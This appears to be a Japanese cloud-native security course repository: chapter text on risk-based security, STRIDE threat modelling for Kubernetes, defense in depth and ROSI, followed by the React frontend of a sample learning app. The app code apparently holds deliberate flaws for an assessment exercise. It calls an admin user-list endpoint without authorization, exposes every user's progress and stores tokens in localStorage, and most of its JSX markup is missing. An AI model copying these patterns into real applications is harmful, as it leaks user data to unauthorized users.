| 57 | **リスクベースセキュリティの適用:** 58 | - **Pros:** 複雑な分散システムにおける固有のリスクを特定するのに非常に効果的です。脅威モデリングは、マイクロサービス間の相互作用、API露出、Kubernetes内のデータフローに特有の脆弱性を明らかにするのに役立ちます。これにより、開発スピードをできるだけ損なわず、実際のビジネス影響に基づいて修復作業を優先させることができます。 59 | - **Cons:** 脅威と脆弱性を正確に評価するためには深い専門知識が必要です。特に大規模で急速に進化する環境では、リソース集約的になる可能性があります。リスク評価における主観性が一貫性の欠如につながる可能性があります。 60 | 61 | 「コンプライアンスはセキュリティとイコールではない」という指摘は、純粋なルールベースアプローチの主なデメリットと、リスクベース思考の必要性を強調しています。セキュリティとアジリティのバランスを取ることは、クラウドネイティブ環境で効果的にリスクベースセキュリティを適用する上での重要な課題です。 62 | 63 | ルールベースセキュリティは、ベースラインや規制遵守に必要不可欠ですが、それだけでは不十分です。リスクベースセキュリティは、実際の脅威に対処するために必要な深さを提供します。動的なクラウドネイティブ環境では、純粋に静的なルールベースアプローチでは新たな脅威を見逃す可能性があります。したがって、最も効果的な戦略は、両者の融合です。ルールベースのアプローチを自動化されたベースラインの強制とコンプライアンスに使用し、リスクベースの手法(脅威モデリングなど)を適用して、ルールではカバーできない固有の、文脈に応じた脅威を特定し、軽減します。このアプローチは、組織が自動化されたポリシー強制ツールと、高度な脅威分析を実行できる熟練したセキュリティ専門家の両方に投資する必要があることを意味します。また、セキュリティ体制管理は、ルールと進化するリスクプロファイルの両方に対する継続的な評価を含むべきであることも示唆しています。 64 | 65 | ### 1.4. ルールベース vs リスクベースセキュリティ 66 | 67 | | 基準 | ルールベースセキュリティ | リスクベースセキュリティ | 68 | | :--- | :--- | :--- | 69 | | **定義** | 事前定義された標準、ポリシー、規制への準拠に焦点を当てる。 | 潜在的な脅威、脆弱性、その影響と可能性に基づいて評価し軽減する。 | 70 | | **主な目標** | コンプライアンスの達成、ベースラインセキュリティの確立。 | 組織のリスクを削減し、ビジネス目標と整合させる。 | 71 | | **推進要因** | 規制要件、業界標準、内部ポリシー。 | ビジネス目標、潜在的な損害、脅威インテリジェンス。 | 72 | | **焦点** | チェックリスト、コントロール、静的構成。 | 脅威、脆弱性、影響、可能性。 | 73 | | **アプローチ** | 静的、反応的、監査とスキャン。 | プロアクティブ、適応的、優先順位付け。 | 74 | | **主要な活動** | コンプライアンス監査、Policy as Code、ベンチマーク適用。 | 脅威モデリング、脆弱性管理、ペネトレーションテスト、インシデント対応計画。 | 75 | | **メリット** | 明確な基準、自動化しやすい、規制遵守を支援。 | 実際の脅威に焦点を当てる、リソースの最適化、ビジネス目標との整合。 | 76 | | **デメリット** | コンプライアンスがセキュリティとイコールではない、新しい脅威を見逃す可能性がある、動的な環境では陳腐化しやすい。 | 専門知識が必要、リソース集約的、リスク評価に主観性が入り込む可能性がある。 | 77 | | **クラウドネイティブでの関連性 (例)** | CIS Kubernetesベンチマーク、OPA Gatekeeperによるポリシー強制。 | マイクロサービス間の脅威モデリング、APIセキュリティ評価。 | 78 | 79 | ## 2. クラウドネイティブプラットフォームのための脅威モデリング 80 | 81 | ### 2.1. 脅威モデリングとは 82 | 83 | 脅威モデリングとは、システムをデプロイする前に、システムに対する既知の脅威とその緩和策を熟慮し、特定し、文書化するプロセスです。脅威のモデル化は、すべてのシステムのデプロイメントの前、その最中、完了後にさまざまな脅威に直面することを認識し、セキュリティ専門家がこれらの脅威を事前に識別して緩和するのに役立ちます。 84 | 85 | - **プロアクティブなセキュリティ:** 開発ライフサイクルの早い段階で問題を発見し(シフトレフト)、修復コストを削減します。 86 | - **包括的なシステムの理解:** データフロー、信頼境界、攻撃対象領域を含む、システムのセキュリティ体制の全体像を提供します。 87 | - **優先順位付け:** 最も重要な脅威にセキュリティの取り組みを集中させるのに役立ちます。 88 | - **設計の改善:** セキュリティを最初から組み込むことで、より安全なシステムアーキテクチャにつながります。 89 | 90 | ### 2.2. STRIDE脅威モデル 91 | 92 | 脅威モデリングにはいくつかの手法がありますが、ここでは「STRIDE」という広く使用されている脅威モデルに焦点を当てます。STRIDEは、脅威を以下の6つのカテゴリに分類するものです。 93 | 94 | - **S**poofing (なりすまし): 攻撃者が他のユーザーやシステムになりすますこと。 95 | - **T**ampering (改ざん): データやシステムの設定を不正に変更すること。 96 | - **R**epudiation (否認): 攻撃者が自身の行動を後から否定すること。 97 | - **I**nformation Disclosure (情報漏洩): 機密情報が不正に公開されること。 98 | - **D**enial of Service (サービス拒否): システムを過負荷にして、正しく機能させなくすること。 99 | - **E**levation of Privilege (権限昇格): 攻撃者が本来持っていない高い権限を獲得すること。 100 | 101 | **Kubernetes環境におけるSTRIDEの活用:** 102 | 103 | Kubernetes環境のアーキテクチャにSTRIDEを適用することで、システム固有の脅威を特定できます。 104 | 105 | 例: 106 | 107 | - **Kubernetes APIサーバー:** 108 | - **なりすまし/権限昇格:** 攻撃者が管理者になりすまして、Kubernetesクラスタを操作しようとする脅威。 109 | - **サービス拒否:** APIサーバーに大量のリクエストを送りつけ、サービスの運用を停止させる脅威。 110 | - **etcd(Kubernetesの設定情報を保存するデータストア):** 111 | - **情報漏洩:** etcdに保存されている機密情報(データベース接続パスワードなど)が不正に漏洩する脅威。 112 | - **改ざん:** etcdの設定が不正に変更され、システムが誤動作する脅威。 113 | - **アプリケーションのマイクロサービス(Frontend, Backend API, Databaseなど):** 114 | - **なりすまし:** あるマイクロサービスが別のサービスになりすまして通信する脅威。 115 | - **改ざん:** サービス間の通信中にデータが不正に変更される脅威。 116 | - **情報漏洩:** データベースから機密情報が不正に取得される脅威。 117 | - **サービス拒否:** 特定のマイクロサービスが過負荷になり、サービス全体が利用できなくなる脅威。 118 | 119 | ### 2.3. 攻撃対象領域とデータフローの脆弱性を特定する手法 120 | 121 | 効果的な脅威モデリングには、システムのアーキテクチャと相互作用の深い理解が必要です。以下のような手法を用いて、対象システムの潜在的な弱点を特定することができます。 122 | 123 | - **データフロー図 (DFD):** 対象システムのコンポーネント(Frontend, Backend API, Database, Ingress Controllerなど)間でデータがどのように移動するかを視覚化し、信頼境界と外部エンティティを特定します。これにより、データの流れの中でセキュリティ対策が必要なポイントを洗い出せます。 124 | - **攻撃対象領域の列挙:** 攻撃者が対象システムと相互作用できるすべてのポイントを特定します。Kubernetesの場合、これには以下が含まれます。 125 | - **Kubernetes APIサーバー:** 公開されたエンドポイント、認証/認可メカニズム。 126 | - **コンテナイメージ:** アプリケーションのコンテナイメージに含まれるベースイメージ、アプリケーションコード、サードパーティライブラリの脆弱性。 127 | - **ネットワークポリシー:** Pod間の通信において、意図しないネットワークアクセスにつながる誤設定。 128 | - **RBAC構成:** Kubernetesクラスタ内で、過剰な特権を持つロールやサービスアカウント。 129 | - **シークレット管理:** データベースパスワードやAPIキーなどの機密データが安全に管理されていないこと。 130 | - **外部統合:** CI/CDパイプライン、監視システム、クラウドプロバイダーAPIなど、外部システムとの連携ポイント。 131 | - **信頼境界分析:** システム内で信頼レベルが変化する場所(例:外部ユーザーとIngress Controller間、Frontend PodとBackend API Pod間、異なる名前空間間)を特定します。 132 | 133 | 脅威モデリングは一度限りの活動ではなく、継続的なプロセスとしてDevSecOpsに統合されるべきです。システムは常に変化しているため、一度作成された脅威モデルはすぐに陳腐化します。したがって、脅威モデリングは静的なドキュメントとしてではなく、開発プロセスに組み込まれた継続的な活動であるべきです。
134 | この継続的な活動を実現するために、脅威モデリングプロセスの一部を自動化すること(例:一般的な誤設定をスキャンするツールの使用、またはインフラの変更に基づくDFDの自動更新)は有効な手段です。また、システムが進化するにつれてモデルを定期的に見直すことも重要です。このアプローチは、セキュリティチームが開発チームと密接に連携し、脅威モデリングのプラクティスを日常のワークフローに組み込むことを可能にします。クラウドネイティブのアジリティに対応するには、Threat Modeling as Codeへと移行し、CI/CDパイプラインを活用して、脅威の発見と検証を効率的に行うツールも重要になります。 135 | 136 | ## 3. 多層防御(Defense-in-Depth)の実装 137 | 138 | 多層防御は、システムを保護するために複数のセキュリティ制御層を展開する基本的なセキュリティ戦略です。この考え方は、ある層が失敗しても、別の層が保護を提供し、攻撃者が費やす労力を大幅に増加させるというものです。Kubernetesのような複雑で分散された世界では、このアプローチは特に有益です。対象システムに多層防御の考え方を適用し、各層でどのような対策を講じるべきかを検討する必要があります。 139 | 140 | 「スイスチーズモデル」は多層防御の有効性を説明するリスク管理モデルです。各チーズの薄切りには穴(脆弱性)がありますが、複数の薄切りを重ねることで、単一の視線(攻撃経路)がすべての穴を通過する可能性が低くなります。クラウドネイティブでは、これは基盤となるインフラストラクチャからアプリケーションコード自体に至るまで、すべてのコンポーネントと相互作用を保護することを意味します。 141 | 142 | ### 3.2. Kubernetes内のセキュリティ層の図示 143 | 144 | Kubernetesは、本質的に多層的なセキュリティアプローチをサポートしており、さまざまなレベルで制御が可能です。以下は、階層による整理の一例です。 145 | 146 | - **クラウドプロバイダー/インフラ層:** 147 | - **制御:** ネットワークセグメンテーション(VPC、サブネット)、クラウドリソースのIAM、ワーカーノードのホスト強化、基盤ストレージの暗号化。 148 | - **検討ポイント:** 対象システムが稼働するクラウド環境におけるVPC設定、IAMロールの最小権限化、ワーカーノードのOS強化、永続ボリュームの暗号化など。 149 | - **関連性:** 最も基本的な層です。ここが侵害されると、その上のすべての層が危険にさらされます。 150 | 151 | - **Kubernetesコントロールプレーン層:** 152 | - **コンポーネント:** APIサーバー、etcd、コントローラーマネージャー、スケジューラー。 153 | - **制御:** APIサーバーの強力な認証/認可(RBAC)、etcdの暗号化とアクセス制御、コントロールプレーンコンポーネントの安全な構成(例:CIS Kubernetesベンチマーク)。 154 | - **検討ポイント:** KubernetesクラスタのAPIサーバーへのアクセス制御(RBACの適切な設定)、etcdデータの暗号化、コントロールプレーンコンポーネントのセキュリティ設定強化。 155 | - **関連性:** クラスタの司令塔です。ここを保護することは最重要です。 156 | 157 | - **ネットワーク層:** 158 | - **コンポーネント:** Pod間通信、Ingress/Egress。 159 | - **制御:** Pod/名前空間間のトラフィックを制限するKubernetesネットワークポリシー、mTLSときめ細かいトラフィック制御のためのサービスメッシュ(例:Istio)、ネットワークセグメンテーション。 160 | - **検討ポイント:** アプリケーションのPod間の通信を制限するネットワークポリシーの導入、サービスメッシュによる相互認証通信の検討。 161 | - **関連性:** 横方向の移動を制限し、最小特権の通信を強制します(ゼロトラスト)。 162 | 163 | - **ホスト/ノード層:** 164 | - **コンポーネント:** Kubelet、コンテナランタイム(例:containerd)を実行するワーカーノード。 165 | - **制御:** OSの強化、カーネルセキュリティモジュール(例:AppArmor、SELinux)、定期的なパッチ適用、ホストレベルのファイアウォール。 166 | - **検討ポイント:** ワーカーノードのOS強化(最小OSの利用)、セキュリティパッチの適用、ホストレベルのアクセス制限。 167 | - **関連性:** コンテナを実行する基盤となる計算リソースを保護します。 168 | 169 | - **コンテナランタイム層:** 170 | - **コンポーネント:** コンテナイメージ、ランタイム環境。 171 | - **制御:** 脆弱性や誤設定に対するコンテナイメージスキャン、イミュータブルインフラストラクチャの原則、ランタイムセキュリティツール(例:異常な動作を検出するためのFalco)、安全なコンテナ構成(例:特権コンテナなし、読み取り専用ルートファイルシステム)。 172 | - **検討ポイント:** アプリケーションイメージの脆弱性スキャン、Pod Security Standards (PSS) の適用、ランタイム監視。 173 | - **関連性:** アプリケーションの実行環境を保護します。 174 | 175 | - **アプリケーション層:** 176 | - **コンポーネント:** デプロイされたマイクロサービス。 177 | - **制御:** 安全なコーディングプラクティス、入力検証、APIセキュリティ、シークレット管理、アプリケーションレベルの認証/認可、ログと監視。 178 | - **検討ポイント:** アプリケーションにおける入力検証の強化、API認証・認可の改善、アプリケーションログの適切な収集。 179 | - **関連性:** ビジネスロジックが実行される最後の防衛線です。 180 | 181 | - **IDおよびアクセス管理(IAM)層:** 182 | - **コンポーネント:** ユーザー、サービスアカウント、ロール。 183 | - **制御:** Kubernetes RBAC、外部IDプロバイダーとの統合、最小特権原則、多要素認証。 184 | - **検討ポイント:** KubernetesクラスタにおけるRBACの適切な設定、ServiceAccountの権限最小化。 185 | - **関連性:** クラスタ内で誰が何を実行できるかを制御します。 186 | 187 | - **データ層:** 188 | - **コンポーネント:** 保存中および転送中のデータ。 189 | - **制御:** 保存中のデータの暗号化(例:etcd、永続ボリューム)、転送中のデータの暗号化(例:サービスメッシュによるmTLS)、データ損失防止(DLP)。 190 | - **検討ポイント:** データベースのデータ暗号化、Podとデータベース間の通信暗号化。 191 | - **関連性:** 機密情報を保護します。 192 | 193 | ### 3.3. 各層の多様なセキュリティ制御を統合するための戦略 194 | 195 | 効果的な多層防御は、個々の制御を展開するだけでなく、統合とオーケストレーションを必要とします。 196 | 197 | - **セキュリティの自動化とオーケストレーション:** セキュリティ制御のデプロイと構成を自動化するツール(Security as Code)を使用します。CI/CDパイプラインにセキュリティチェックを組み込むことを検討してください。 198 | - **集中型ポリシー管理:** OPA GatekeeperやKyvernoのようなツールは、複数の層にわたってポリシーを一貫して強制できます(例:すべてのPodがネットワークポリシーを持つこと、または特定のセキュリティコンテキストを持つことを保証する)。Kubernetesクラスタにこれらのポリシーコントローラーを導入し、セキュリティポリシーをコードとして管理することを検討してください。 199 | - **継続的な監視と観測性:** すべての層にわたって堅牢なログ、監視、アラートを実装し、脅威を検出して対応します。既存の監視スタックを活用し、セキュリティ関連のログやメトリクスを収集・分析する仕組みを強化することを検討してください。 200 | - **DevSecOps統合:** ソフトウェア開発ライフサイクル全体にわたってセキュリティプラクティスとツールを組み込み、「シフトレフト」を実現し、設計からデプロイまでセキュリティが考慮されるようにします。 201 | 202 | 多層防御を導く原則として「ゼロトラスト」の考え方があります。これは、「決して信頼せず、常に検証する」という原則です。多層防御を提唱するならば、「決して信頼しない」ということは、以前のチェックに関係なく、すべての層が検証し、制御を強制する必要があることを意味します。これは、Kubernetesの各層(ネットワーク、ホスト、アプリケーション、ID)が、他の層が侵害されているか信頼できない可能性があるという前提で動作すべきであることを示唆しています。例えば、ホストが安全であっても、ネットワークポリシーはPod間の通信を制限すべきです。RBACが強力であっても、アプリケーションレベルの認証は依然として必要です。これは、マイクロセグメンテーション、きめ細かいアクセス制御、そしてKubernetesスタック全体にわたる継続的な認証/認可の必要性を推進し、システムを侵害に対して本質的により回復力のあるものにします。 203 | 204 | 一方で、複数のセキュリティ層からデータを収集するだけでなく、それらを相関させることには課題があります。ホストレベルの侵入検知システムからのアラートが、アプリケーションレベルの脆弱性に関連している可能性や、ネットワークポリシー違反がRBACの悪用の前兆である可能性もあります。統一された視点がないと、セキュリティチームはアラート疲労に陥り、重要な攻撃チェーンを見逃すリスクがあります。この状況は、クラウドネイティブ環境に特化した高度なセキュリティ情報イベント管理(SIEM)またはセキュリティオーケストレーション、自動化、応答(SOAR)ソリューションの必要性を示しています。また、効果的な相関とインシデント対応を促進するために、すべてのKubernetesコンポーネントとアプリケーションにわたる標準化されたログ形式とメタデータの重要性も浮き彫りにします。 205 | 206 | ## 4. セキュリティ対策の費用対効果 207 | 208 | セキュリティは技術的な課題だけでなく、ビジネス上の課題でもあります。セキュリティへの投資は、その価値と組織目標との整合性を明確に理解した上で行う必要があります。 209 | 210 | ### 4.1. セキュリティ投資と組織目標およびリスク許容度のバランス 211 | 212 | すべての組織には、その目標を達成するために許容できるリスクのレベルがあります。セキュリティ投資は、このリスク許容度と全体的なビジネス戦略に合致している必要があります。リスクの低い資産に過剰なセキュリティ投資を行うことは、リスクの高い資産への投資不足と同様に有害となる可能性があります。セキュリティとアジリティのバランスを取る必要性は、セキュリティ対策がビジネス運営やイノベーションを不当に妨げてはならないことを示唆しています。サービス停止や開発遅延を避けるというビジネス上の制約がある場合、このバランスを考慮した対策立案が求められます。 213 | 214 | ### 4.2. セキュリティ価値の定量化とリソース配分の最適化 215 | 216 | セキュリティの価値を定量化することは非常に難しいですが、いくつかの方法が役立ちます。 217 | 218 | - **不作為/侵害のコスト:** セキュリティ侵害の潜在的な財務的、評判的、運用上のコストを推定します。これは、組織がそのような事態を防ぐためにどれだけ支出するべきかという基準を提供します。システムが扱う機密情報が漏洩した場合の潜在的な影響を考慮し、対策の必要性を裏付けることができます。 219 | - **リスク削減:** セキュリティ制御による特定の脅威の発生可能性または影響の削減を定量化します。これはリスクベースアプローチに直接結びつきます。 220 | - **コンプライアンスコスト vs. 不遵守ペナルティ:** ルールベースセキュリティの場合、制御の実装コストと不遵守によるペナルティを比較します。ビジネス上の要件を満たせない場合の機会損失も考慮に入れるべきです。 221 | - **効率性の向上:** セキュリティの自動化やシフトレフトの手法は、手作業と手戻りを減らし、運用効率の向上につながる可能性があります。 222 | 223 | ### 4.3. クラウドネイティブにおけるセキュリティ投資収益率(ROSI) 224 | 225 | ROSIは、セキュリティ投資の財務的利益を評価するために使用される指標で、一般的に以下の式で表されます。 226 | 227 | ROSI = ((セキュリティ導入前の年間損失期待値 (ALE) - セキュリティ導入後のALE) - セキュリティ投資コスト) / セキュリティ投資コスト 228 | 229 | - **ALE (年間損失期待値):** 単一損失期待値 (SLE) × 年間発生率 (ARO) で計算されます。 230 | - **SLE:** 単一のセキュリティインシデントから予想される金銭的損失。 231 | - **ARO:** インシデントが1年間に発生する推定頻度。 232 | - **考慮事項:** 233 | - **動的なALE:** クラウドネイティブ環境におけるALEは、リソースの一時的な性質と急速な変化のため、非常に動的である可能性があります。 234 | - **無形資産の利益:** ROSIは、ブランドの評判、顧客の信頼、競争優位性といった無形資産の利益を捉えるのが困難です。ビジネスにおける信頼獲得は、ROSIでは測りにくい重要な要素です。 235 | - **自動化の役割:** 自動化されたセキュリティ制御は、時間の経過とともに「セキュリティ投資コスト」を大幅に削減し、ROSIを向上させることができます。 236 | 237 | セキュリティは単なるコストセンターではなく、アジリティとイノベーションを可能にする要素として捉えるべきです。セキュリティとアジリティのバランスが言及されています。セキュリティが単なるコストまたは障害物と見なされる場合、対策を迂回されたり、優先順位が下げられたりする可能性があります。しかし、セキュリティを開発プロセス(DevSecOps)に組み込み、制御を自動化する(Security as Code)ことで、セキュリティは相乗効果を生み出す力となります。これにより、より迅速で安全なデプロイが可能になり、セキュリティ上の欠陥による技術的負債が減少し、信頼が構築され、市場への対応力が向上します。セキュリティチームは、ROSIに基づく評価だけでなく、市場投入時間の短縮、運用オーバーヘッドの削減などの観点からもその価値を明確にする必要があります。 238 | 239 | --- 240 | 241 | ## 次のステップ 242 | 243 | - [演習3 セキュリティアセスメント](./training.md) 244 | - [4章 セキュリティ対策の導入](../04_hardening/README.md) 245 | -------------------------------------------------------------------------------- /app/frontend/src/App.tsx: -------------------------------------------------------------------------------- 1 | import React, { useState, useEffect } from "react"; 2 | import axios from "axios"; 3 | import { AppBar, Toolbar, Typography, Container, Box, Button, TextField, Card, CardContent, CardActions, Paper, IconButton, Avatar, Divider, Snackbar, Alert, Pagination } from "@mui/material"; 4 | import SchoolIcon from '@mui/icons-material/School'; 5 | import PersonIcon from '@mui/icons-material/Person'; 6 | 7 | // APIのベースURL 8 | const API_URL = process.env.REACT_APP_API_URL ? process.env.REACT_APP_API_URL : "/api"; 9 | console.log("API_URL:", API_URL); 10 | 11 | /** 12 | * プロフィールページコンポーネント 13 | * @param {string} username - 現在のユーザー名 14 | * @param {function} onBack - 戻るボタンがクリックされたときのコールバック 15 | */ 16 | function ProfilePage({ username, onBack }: { username: string; onBack: () => void }) { 17 | const [profile, setProfile] = useState(null); 18 | 19 | useEffect(() => { 20 | const fetchProfile = async () => { 21 | try { 22 | // 全ユーザーリストから現在のユーザーのプロフィールを検索 23 | const res = await axios.get(`${API_URL}/admin/users`); 24 | const user = res.data.find((u: any) => u.username === username); 25 | setProfile(user || null); 26 | } catch (error) { 27 | console.error("プロフィール取得失敗:", error); 28 | } 29 | }; 30 | fetchProfile(); 31 | }, [username]); 32 | 33 | return ( 34 | 35 | 36 | プロフィール 37 | {profile ? ( 38 | 39 | 40 | 41 | {profile.username[0]} 42 | 43 | {profile.username} 44 | 氏名: {profile.full_name} 45 | 46 | 47 | 48 | 49 | ) : ( 50 | 読み込み中... 51 | )} 52 | 53 | ); 54 | } 55 | 56 | /** 57 | * 進捗カード表示コンポーネント 58 | * @param {any} progress - ユーザーごとの進捗または全ユーザーの進捗リスト 59 | * @param {any[]} courses - コース情報のリスト 60 | * @param {any[]} users - ユーザー情報のリスト 61 | */ 62 | function ProgressCards({ progress, courses, users }: { progress: any; courses: any[]; users: any[] }) { 63 | const [currentPage, setCurrentPage] = useState(1); 64 | const itemsPerPage = 15; 65 | 66 | // 進捗データが変更された時にページをリセット 67 | useEffect(() => { 68 | setCurrentPage(1); 69 | }, [progress]); 70 | 71 | // 進捗データがない場合の表示 72 | if (!progress || (Array.isArray(progress) && (progress.length === 0 || progress.every((p: any) => Object.keys(p).length === 0)))) { 73 | return 受講中のコースはありません。; 74 | } 75 | // コース情報がまだロードされていない場合の表示 76 | if (!courses || courses.length === 0) { 77 | return コース情報取得中...; 78 | } 79 | 80 | // 進捗データを常に配列として扱う 81 | const progressList = Array.isArray(progress) ? progress : [progress]; 82 | 83 | // ページネーション計算 84 | const totalPages = Math.ceil(progressList.length / itemsPerPage); 85 | const startIndex = (currentPage - 1) * itemsPerPage; 86 | const endIndex = startIndex + itemsPerPage; 87 | const currentProgress = progressList.slice(startIndex, endIndex); 88 | 89 | const handlePageChange = (event: React.ChangeEvent, value: number) => { 90 | setCurrentPage(value); 91 | }; 92 | 93 | return ( 94 | 95 | 96 | {currentProgress.map((p: any, idx: number) => { 97 | // course_idとidの型を揃えて比較してコース情報を取得 98 | const course = courses.find(c => String(c.id) === String(p.course_id)); 99 | // user_idベースでユーザー検索(idフィールドが存在しない場合の代替手段) 100 | // まずIDフィールドで検索を試行 101 | let user = users?.find(u => 102 | String(u.id || u.user_id || u.ID || u.Id) === String(p.user_id) 103 | ); 104 | 105 | // IDフィールドでの検索に失敗した場合、user_idの位置でユーザーリストから推測 106 | if (!user && users && users.length > 0 && typeof p.user_id === 'number' && p.user_id > 0 && p.user_id <= users.length) { 107 | user = users[p.user_id - 1]; // user_id=1なら配列のindex=0 108 | } 109 | 110 | return ( 111 | 120 | 130 | {/* 上部セクション:ユーザー名とタイトル */} 131 | 132 | 133 | {user ? `受講者: ${user.username}` : `受講者: 不明`} 134 | 135 | 146 | {course ? course.title : `コース名不明 (course_id: ${p.course_id})`} 147 | 148 | 149 | 150 | {/* 下部セクション:プログレスバーと更新情報 */} 151 | 152 | 153 | 154 | 155 | 156 | {typeof p.percent === 'undefined' ? '進捗データ不明' : p.percent === 0 ? '未着手' : p.percent === 100 ? '完了' : `${p.percent}% 完了`} 157 | 158 | 159 | 更新: { 160 | p.updated_at ? p.updated_at.replace('T', ' ').slice(0, 16) : 161 | p.updatedAt ? p.updatedAt.replace('T', ' ').slice(0, 16) : 162 | p.update_time ? p.update_time.replace('T', ' ').slice(0, 16) : 163 | '-' 164 | } 165 | 166 | 167 | 168 | 169 | ); 170 | })} 171 | 172 | {totalPages > 1 && ( 173 | 174 | 181 | 182 | )} 183 | 184 | {progressList.length} 件中 {startIndex + 1}-{Math.min(endIndex, progressList.length)} 件を表示 185 | 186 | 187 | ); 188 | } 189 | 190 | /** 191 | * コースカード表示コンポーネント 192 | * @param {any[]} courses - コース情報のリスト 193 | * @param {function} onJoin - コース参加ボタンがクリックされたときのコールバック 194 | * @param {string} username - 現在のユーザー名 (参加ボタンの有効/無効制御用) 195 | */ 196 | function CourseCards({ courses, onJoin, username }: { courses: any[]; onJoin: (courseId: number) => void; username: string }) { 197 | const [currentPage, setCurrentPage] = useState(1); 198 | const itemsPerPage = 15; 199 | 200 | if (!courses || courses.length === 0) { 201 | return コースデータなし; 202 | } 203 | 204 | // ページネーション計算 205 | const totalPages = Math.ceil(courses.length / itemsPerPage); 206 | const startIndex = (currentPage - 1) * itemsPerPage; 207 | const endIndex = startIndex + itemsPerPage; 208 | const currentCourses = courses.slice(startIndex, endIndex); 209 | 210 | const handlePageChange = (event: React.ChangeEvent, value: number) => { 211 | setCurrentPage(value); 212 | }; 213 | 214 | return ( 215 | 216 | 217 | {currentCourses.map((course: any) => ( 218 | 227 | 237 | {/* 上部セクション:タイトル */} 238 | 239 | 250 | {course.title} 251 | 252 | 253 | 254 | {/* 下部セクション:概要 */} 255 | 256 | 266 | {course.description || ''} 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | ))} 275 | 276 | {totalPages > 1 && ( 277 | 278 | 285 | 286 | )} 287 | 288 | {courses.length} 件中 {startIndex + 1}-{Math.min(endIndex, courses.length)} 件を表示 289 | 290 | 291 | ); 292 | } 293 | 294 | /** 295 | * メインアプリケーションコンポーネント 296 | */ 297 | function App() { 298 | const [username, setUsername] = useState(""); 299 | const [password, setPassword] = useState(""); 300 | const [token, setToken] = useState(""); 301 | const [courses, setCourses] = useState([]); 302 | const [progress, setProgress] = useState([]); // 進捗は配列で初期化 303 | const [showProfile, setShowProfile] = useState(false); 304 | const [snackbar, setSnackbar] = useState<{open: boolean, message: string, severity: "success"|"error"|"info"|"warning"}>({open: false, message: "", severity: "info"}); 305 | const [isLoggedIn, setIsLoggedIn] = useState(false); 306 | const [users, setUsers] = useState([]); // 全ユーザー情報 307 | 308 | // 初回マウント時にlocalStorageから認証情報を復元 309 | useEffect(() => { 310 | const savedToken = localStorage.getItem("token"); 311 | const savedUsername = localStorage.getItem("username"); 312 | if (savedToken && savedUsername) { 313 | setToken(savedToken); 314 | setUsername(savedUsername); 315 | setIsLoggedIn(true); 316 | } 317 | }, []); 318 | 319 | /** 320 | * 全ユーザー情報を取得する関数 321 | */ 322 | const fetchAllUsers = async () => { 323 | try { 324 | const usersRes = await axios.get(`${API_URL}/admin/users`); 325 | setUsers(usersRes.data); 326 | } catch (error) { 327 | console.error("ユーザー一覧取得失敗:", error); 328 | setSnackbar({open: true, message: "ユーザー一覧取得失敗", severity: "error"}); 329 | } 330 | }; 331 | 332 | /** 333 | * コース一覧を取得する関数 334 | */ 335 | const fetchCourses = async () => { 336 | try { 337 | const res = await axios.get(`${API_URL}/courses`); 338 | setCourses(res.data); 339 | } catch (error) { 340 | console.error("コース取得失敗:", error); 341 | setSnackbar({open: true, message: "コース取得失敗", severity: "error"}); 342 | } 343 | }; 344 | 345 | /** 346 | * 現在のユーザーの進捗を取得する関数 347 | */ 348 | const fetchProgress = async () => { 349 | // トークンとユーザー名がなければ処理しない 350 | if (!token || !username) return; 351 | try { 352 | const res = await axios.get(`${API_URL}/progress/${username}`); 353 | setProgress(res.data); 354 | // 自分の進捗表示時もユーザー情報を取得しておく 355 | await fetchAllUsers(); 356 | } catch (error) { 357 | console.error("ユーザー進捗取得失敗:", error); 358 | setSnackbar({open: true, message: "進捗取得失敗", severity: "error"}); 359 | } 360 | }; 361 | 362 | /** 363 | * 全ユーザーの進捗を取得する関数 364 | */ 365 | const fetchAllProgress = async () => { 366 | // トークンがなければ処理しない 367 | if (!token) return; 368 | try { 369 | const res = await axios.get(`${API_URL}/progress`); 370 | setProgress(res.data); 371 | // 全ユーザー進捗表示時は、最新のユーザーリストも取得しておく 372 | await fetchAllUsers(); 373 | } catch (error) { 374 | console.error("全ユーザー進捗取得失敗:", error); 375 | setSnackbar({open: true, message: "全ユーザー進捗取得失敗", severity: "error"}); 376 | } 377 | }; 378 | 379 | /** 380 | * ログイン処理 381 | */ 382 | const login = async () => { 383 | try { 384 | const res = await axios.post(`${API_URL}/login`, { username, password }); 385 | setToken(res.data.access_token); 386 | setSnackbar({open: true, message: "ログイン成功", severity: "success"}); 387 | setIsLoggedIn(true); 388 | // localStorageに保存 389 | localStorage.setItem("token", res.data.access_token); 390 | localStorage.setItem("username", username); 391 | // ここではデータフェッチは行わず、useEffectに任せる 392 | } catch (error) { 393 | console.error("ログイン失敗:", error); 394 | setSnackbar({open: true, message: "ログイン失敗", severity: "error"}); 395 | } 396 | }; 397 | 398 | /** 399 | * コース参加処理 400 | * @param {number} courseId - 参加するコースのID 401 | */ 402 | const joinCourse = async (courseId: number) => { 403 | if (!username) { 404 | setSnackbar({open: true, message: "ユーザー名を入力してください", severity: "warning"}); 405 | return; 406 | } 407 | try { 408 | await axios.post(`${API_URL}/courses/${courseId}/join`, { username }); 409 | setSnackbar({open: true, message: "コース参加申請しました", severity: "success"}); 410 | // 参加後、進捗を再フェッチして更新 411 | await fetchProgress(); 412 | } catch (error) { 413 | console.error("参加申請失敗:", error); 414 | setSnackbar({open: true, message: "参加申請失敗", severity: "error"}); 415 | } 416 | }; 417 | 418 | // ログイン成功時に初期データをフェッチするためのuseEffect 419 | useEffect(() => { 420 | if (isLoggedIn && token) { 421 | const loadInitialData = async () => { 422 | // コース、ユーザー、進捗の順にフェッチすることで、依存関係を解決 423 | await fetchCourses(); 424 | await fetchAllUsers(); 425 | await fetchProgress(); // ログインユーザーの進捗を最初に表示 426 | }; 427 | loadInitialData(); 428 | } 429 | }, [isLoggedIn, token, username]); // isLoggedIn, token, usernameが変更されたときに実行 430 | 431 | // プロフィールページ表示中はプロフィールコンポーネントをレンダリング 432 | if (showProfile) { 433 | return setShowProfile(false)} />; 434 | } 435 | 436 | // 未ログイン時の表示 437 | if (!isLoggedIn) { 438 | return ( 439 | 440 | 441 | 442 | 443 | 444 | 無敗塾 オンライン学習サービス 445 | 446 | 447 | 448 | 449 | 450 | ログイン 451 | 452 | setUsername(e.target.value)} size="small" fullWidth sx={{ borderRadius: 1 }} /> 453 | setPassword(e.target.value)} size="small" fullWidth sx={{ borderRadius: 1 }} /> 454 | 455 | 456 | 457 | 458 | setSnackbar({...snackbar, open: false})}> 459 | {snackbar.message} 460 | 461 | 462 | ); 463 | } 464 | 465 | // ログイン後のメインアプリケーション表示 466 | return ( 467 | 468 | 469 | 470 | 471 | 472 | 無敗塾 オンライン学習サービス 473 | 474 | 475 | {isLoggedIn 